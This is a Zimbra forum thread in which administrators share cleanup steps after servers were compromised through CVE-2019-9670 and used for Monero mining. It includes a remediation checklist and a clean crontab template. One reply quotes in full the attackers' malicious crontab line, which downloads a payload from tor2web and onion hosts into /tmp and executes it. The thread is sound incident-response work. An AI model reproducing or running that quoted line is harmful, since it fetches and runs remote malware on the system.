CVE-2019-9670 being actively exploited

Discuss your pilot or production implementation with other Zimbra admins or our engineers.
Drake
Posts: 8
Joined: Tue May 28, 2019 8:52 am

Re: CVE-2019-9670 being actively exploited

Postby Drake » Tue May 28, 2019 9:06 am

UPDATE 28.05.2019 The cryptominer zmswatch appeared again even after all the taken procedures and renewing ssh keys. It seems they also managed to unlock the zimbra`s user crontab and add a line to it again.
UPDATE 30.05.2019 Found addition malicious process and file. Tutorial updated.

Hello guys
Thanks for the plenty of info. It seems we all are under the same umrella now :) The case is not that bad. According to my basic linux experience there are far more nasty ways the situation could develop. It seems that so far the attacker relies on a backdoor in zimbra suite to escalate his privileges and install malicious miner of monero coins. Yesterday i spent the whole day till 11 pm. dealing with this situation. Following are the steps i performed and so far they work(meaning i don`t have 100% cpu usage and suspicious processes). The services are working fine. This does not mean that the system is totally clean and there are no backdoors left..

Here is what i did:

=====START=================================================================================================================================================================================================

#Stop Zimbra suite

su - zimbra

zmcontrol stop

exit

#List suspicious processes and then kill them

ps -ax | grep zmswatch

ps -ax | grep zmlogswatch

ps -ax | grep zmmailboxdwatch

ps -ax | grep zmsstore

ps -ax | grep zmstorewatch

ps -ax | grep zmmailboxwatch

ps -ax | grep .kthrotlds

ps -aux

kill -9 viral pids, be suspicious about processes of zimbra user like "sleep 30" and all strange names

#List crontabs and delete suspicious lines. If the whole crontab is replaced then use the following tutorial to recreate it https://wiki.zimbra.com/wiki/Step_to_re ... imbra_user

crontab -l -u zimbra

crontab -l -u root

crontab -e -u zimbra

#Lock crontab files so they cannot be eddited even by root user

chattr +i /var/spool/cron/zimbra

chattr +i /var/spool/cron/root

#Find the last 50 day created files which are known so far to be malicious. Delete them step by step and also check in /opt/zimbra/log for suspicious .sh scripts and so on

find / -name "*zmswatch*" -mtime -50 -ls

find / -name "*zmlogswatch*" -mtime -50 -ls

find / -name "*zmmailboxdwatch*" -mtime -50 -ls

find / -name "*zmsstore*" -mtime -50 -ls

find / -name "*zmstorewatch*" -mtime -50 -ls

find / -name "*zmmailboxwatch*" -mtime -50 -ls

find / -name "*zmcat*" -mtime -50 -ls

# Remove the known shitty scripts files location and also check in /opt/zimbra/log for suspicious .sh scripts and so on

rm -rf /tmp/.cache

rm -rf /tmp/.scr/

rm -rf /opt/zimbra/conf/zmsstore.conf

rm -rf /opt/zimbra/log/.editorinfo

#Find all *.jsp * _jsp.java and *.class files and inspect them for malicious code or compare them with the installation sources. Have in mind that some files may be already modified by different patches(extra skills required to recognize). If you need delete them or replace them with originals

find / -name "*.jsp" -mtime -50 -ls

find / -name "*_jsp.java" -mtime -50 -ls

find / -name "*.class" -mtime -50 -ls

#Find all *.jsp files containing exec function and compare them with the installation sources. Have in mind that some files may be already modified by different patches(extra skills required to recognize). If you need delete them or replace them with originals.

find /opt/zimbra -name \*.jsp -exec grep --with-filename LlSqsDmOgh {} \;

find /opt/zimbra -name \*.jsp -exec grep --with-filename exec {} \;

#Some of the found malicious *.jsp files are recreated immediately after deletion. Check which process creates them with the following commands

##Create a trap and monitor files activity in the pointed path
auditctl -w /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/ -p war -k whatsgoingon

##List the activity
tail -f /var/log/audit/audit.log

##Remove the monitor trap
auditctl -W /opt/zimbra/jetty-distribution-9.1.5.v20140505/webapps/zimbra/public/jsp/ -p war -k whatsgoingon

#Download and apply the Zimbra patch. Use the correct version for your Zimbra version.

wget https://files.zimbra.com/downloads/8.6. ... A_1242.tgz

tar xzf zcs-patch-8.6.0_GA_1242.tgz

cd zcs-patch-8.6.0_GA_1242

./installPatch.sh

#Deinstall wget. Kind of useless because the new modifications continue to use curl
yum -f remove wget

reboot

#After patching check the system again

ps -aux

crontab -l -u zimbra

crontab -l -u root

#Change the password

passwd root

passwd zimbra

change webadmin password web panel

#Delete additional created admin accounts looking strange like 34gds@yourdomain.com You can doi it through the web panel or in console. Following is the command to list them in console.

su - zimbra

zmprov gaaa

#Stop your mail server being listed by web search engines. This is precautious measure for future scans.
zmprov mcf zimbraMailKeepOutWebCrawlers TRUE +zimbraResponseHeader "X-Robots-Tag: noindex"

#Recreate ssh keys

zmsshkeygen

zmupdateauthkeys

#Restore correct function of Webmail and uploading of files

cd /opt/zimbra/mailboxd

find webapps -type d -exec chmod 0755 {} \;

find webapps -type f -exec chmod 0644 {} \;

chmod 755 /opt/zimbra/data/tmp/

chmod 755 /opt/zimbra/data/tmp/upload/

#Inspect the original checksums of zimbra package with the new ones.(r)
rpm -qa "zimbra*" | xargs rpm -qV - | egrep -E '^.{2}5'

Output codes:
S = File size changed
M = File mode changed
5 = MD5 checksum changed
L = Symlink changed
U = Owner changed
G = Group changed
T = Modification time changed
c = it is a configuration file that has changed
missing = file is gone.


=====END=================================================================================================================================================================================================

P.S. My system is with Zimbra 8.6 on CentOS 7. Most of the commands are paste only but some require modification according to your needs(the url adress of the patch which is for 8.6 version as example) so be good sys admins and dont copy/paste without thinking first. Good Luck.
Last edited by Drake on Fri May 31, 2019 7:31 am, edited 5 times in total.


Drake
Posts: 8
Joined: Tue May 28, 2019 8:52 am

Re: CVE-2019-9670 being actively exploited

Postby Drake » Tue May 28, 2019 9:08 am

mqaroush > means you should delete it and recreate it. Pls read the other posts before your.
zimbraxtc
Posts: 7
Joined: Mon May 27, 2019 6:13 pm

Re: CVE-2019-9670 being actively exploited

Postby zimbraxtc » Tue May 28, 2019 9:15 am

Drake wrote:Hello guys


Thanks!

Dont miss:
/opt/zimbra/log/zmswatch and zmswatch.sh
User avatar
maxxer
Advanced member
Advanced member
Posts: 156
Joined: Fri Oct 04, 2013 2:12 am
Contact:

Re: CVE-2019-9670 being actively exploited

Postby maxxer » Tue May 28, 2019 9:17 am

mqaroush wrote:What this mean???


Likely non zimbra files you should delete
mqaroush
Posts: 38
Joined: Sun Aug 03, 2014 4:31 am

Re: CVE-2019-9670 being actively exploited

Postby mqaroush » Tue May 28, 2019 10:08 am

Drake wrote:mqaroush > means you should delete it and recreate it. Pls read the other posts before your.

What the files must i delete them???
elby
Posts: 14
Joined: Tue May 28, 2019 7:37 am
Contact:

Re: CVE-2019-9670 being actively exploited

Postby elby » Tue May 28, 2019 10:25 am

zimbraxtc wrote:
Drake wrote:Hello guys


Thanks!

Dont miss:
/opt/zimbra/log/zmswatch and zmswatch.sh


This is a zimbra files or exploit ?

My crontab is empty. How can i regenerate it?
zimbraxtc
Posts: 7
Joined: Mon May 27, 2019 6:13 pm

Re: CVE-2019-9670 being actively exploited

Postby zimbraxtc » Tue May 28, 2019 10:37 am

elby wrote:
zimbraxtc wrote:
Drake wrote:Hello guys


Thanks!

Dont miss:
/opt/zimbra/log/zmswatch and zmswatch.sh


This is a zimbra files or exploit ?

My crontab is empty. How can i regenerate it?


exploit, just remove them

might be a differnt path to your crontab, mine is /var/spool/cron/crontabs/zimbra
elby
Posts: 14
Joined: Tue May 28, 2019 7:37 am
Contact:

Re: CVE-2019-9670 being actively exploited

Postby elby » Tue May 28, 2019 10:56 am

I did not express myself correctly.
Everything from my crontab was removed - only one line left to start exploit.
zimbraLuis
Posts: 8
Joined: Tue May 28, 2019 9:55 am

Re: CVE-2019-9670 being actively exploited

Postby zimbraLuis » Tue May 28, 2019 11:13 am

Thanks Drake!

Did the infection come back after these changes?

Regards,
Luis
Drake
Posts: 8
Joined: Tue May 28, 2019 8:52 am

Re: CVE-2019-9670 being actively exploited

Postby Drake » Tue May 28, 2019 11:17 am

elby> I suppose you see something shitty like this(in my case only this was left in the zimbra user crontab):

*/9 * * * * tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /tmp/.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /tmp/.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /tmp/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /tmp/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /tmp/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /tmp/.cache/.ntp) && chmod +x /tmp/.cache/.ntp && /bin/sh /tmp/.cache/.ntp

Use the info in your zimbra crontab to determine possible malicious files location. Then replace the crontab with regular clean configuration like this and lock the crontab file for edit. Have in mind that maybe you should repete some previous steps just because in the meantime the malicious crontab may be already executed again:

# ZIMBRASTART -- DO NOT EDIT ANYTHING BETWEEN THIS LINE AND ZIMBRAEND
SHELL=/bin/bash
#
# Log pruning
#
30 2 * * * find /opt/zimbra/log/ -type f -name \*.log\* -mtime +8 -exec rm {} \; > /dev/null 2>&1
35 2 * * * find /opt/zimbra/log/ -type f -name \*.out.???????????? -mtime +8 -exec rm {} \; > /dev/null 2>&1
#
# compress logs manually to avoid application pauses when
# handled through the log4j thread
#
50 2 * * * /opt/zimbra/libexec/zmcompresslogs > /dev/null 2>&1
#
# tmp dir cleaning
#
40 2 * * * /opt/zimbra/libexec/zmcleantmp
#
# Status logging
#
*/2 * * * * /opt/zimbra/libexec/zmstatuslog > /dev/null 2>&1
#*/10 * * * * /opt/zimbra/libexec/zmdisklog > /dev/null 2>&1
#
# SSL Certificate Expiration Checks
#
0 0 1 * * /opt/zimbra/libexec/zmcheckexpiredcerts -days 30 -email
#
# Backups
#
# BACKUP BEGIN
# BACKUP END
#
# crontab.store
#
# Log pruning
#
30 2 * * * find /opt/zimbra/mailboxd/logs/ -type f -name \*log\* -mtime +8 -exec rm {} \; > /dev/null 2>&1
30 2 * * * find /opt/zimbra/log/ -type f -name stacktrace.\* -mtime +8 -exec rm {} \; > /dev/null 2>&1
#
# Report on any database inconsistencies
#
0 23 * * 7 /opt/zimbra/libexec/zmdbintegrityreport -m
#
# Monitor for multiple mysqld to prevent corruption
#
#*/5 * * * * /opt/zimbra/libexec/zmcheckduplicatemysqld -e > /dev/null 2>&1
#
# Check zimbraVersionCheckURL for new update.
# Only runs if this server matches zimbraVersionCheckServer
# Only executes on zimbraVersionCheckInterval. min 2h interval
#
18 */2 * * * /opt/zimbra/libexec/zmcheckversion -c >> /dev/null 2>&1
#
# Invoke "ComputeAggregateQuotaUsageRequest" periodically
#
15 2 * * * /opt/zimbra/libexec/zmcomputequotausage > /dev/null 2>&1
#
# Invoke "client_usage_report.py" periodically to process /opt/zimbra/log/access_log* files
#
55 1 * * * /opt/zimbra/libexec/client_usage_report.py > /dev/null 2>&1
#
# Run zmgsaupdate util to trickeSync galsync accounts
#
49 0 * * 7 /opt/zimbra/libexec/zmgsaupdate > /dev/null 2>&1
#
# crontab.logger
#
# process logs
#
00,10,20,30,40,50 * * * * /opt/zimbra/libexec/zmlogprocess > /tmp/logprocess.out 2>&1
#
# Graph generation
#
#10 * * * * /opt/zimbra/libexec/zmgengraphs >> /tmp/gengraphs.out 2>&1
#
# Daily reports
#
30 23 * * * /opt/zimbra/libexec/zmdailyreport -m
#
# crontab.mta
#
#
# Queue logging
#
0,10,20,30,40,50 * * * * /opt/zimbra/libexec/zmqueuelog
#
# Spam training
#
0 22 * * * /opt/zimbra/bin/zmtrainsa >> /opt/zimbra/log/spamtrain.log 2>&1
#
# Spam training cleanup
#
45 23 * * * /opt/zimbra/bin/zmtrainsa --cleanup >> /opt/zimbra/log/spamtrain.log 2>&1
#
# Spam rule updates
#
45 0 * * * . /opt/zimbra/.bashrc; /opt/zimbra/libexec/zmsaupdate
#
# Dspam cleanup
#
0 1 * * * [ -d /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.sig ] && find /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.sig/ -type f -name \*sig -mtime +7 -exec rm {} \; > /dev/null 2>&1
8 4 * * * [ -f /opt/zimbra/data/dspam/system.log ] && /opt/zimbra/dspam/bin/dspam_logrotate -a 60 -l /opt/zimbra/data/dspam/system.log
8 8 * * * [ -f /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.log ] && /opt/zimbra/dspam/bin/dspam_logrotate -a 60 -l /opt/zimbra/data/dspam/data/z/i/zimbra/zimbra.log
#
# Spam Bayes auto-expiry
#
20 23 * * * /opt/zimbra/libexec/sa-learn --dbpath /opt/zimbra/data/amavisd/.spamassassin --force-expire --sync > /dev/null 2>&1
#
# Clean up amavisd/tmp
#
15 5,20 * * * find /opt/zimbra/data/amavisd/tmp -maxdepth 1 -type d -name 'amavis-*' -mtime +1 -exec rm -rf {} \; > /dev/null 2>&1
#
# Clean up the quarantine dir
#
0 1 * * * find /opt/zimbra/data/amavisd/quarantine -type f -mtime +7 -exec rm -f {} \; > /dev/null 2>&1

#ZIMBRAEND -- DO NOT EDIT ANYTHING BETWEEN THIS LINE AND ZIMBRASTART

I have 5 zimbra servers using the same version of zimbra and i just used a helthy crontab file. In your case(version) the proper zimbra crontab could be different.

Good Luck

Return to “Administrators”

Who is online

Users browsing this forum: Google [Bot] and 7 guests